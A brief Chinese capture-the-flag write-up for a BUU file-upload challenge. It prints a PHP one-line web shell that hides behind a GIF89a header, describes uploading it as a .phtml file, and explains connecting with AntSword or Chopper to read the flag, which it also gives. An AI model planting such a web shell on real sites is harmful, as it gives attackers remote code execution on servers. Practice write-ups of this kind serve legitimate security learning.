BUU-WEB-[极客大挑战 2019]Upload

简单说一下思路，从题目看出来是文件上传漏洞，利用一句话木马使用蚁剑或者菜刀连接。
一句话木马为：

GIF89a? 
<script language="php">eval($_REQUEST[shell])</script>

文件后缀名为phtml

上传的时候修改文件属性。

找到上传的网页，利用工具连接。

成功连接，打开终端搜寻flag。

flag{69a6b539-77e8-49a3-bad7-7187d1541c59}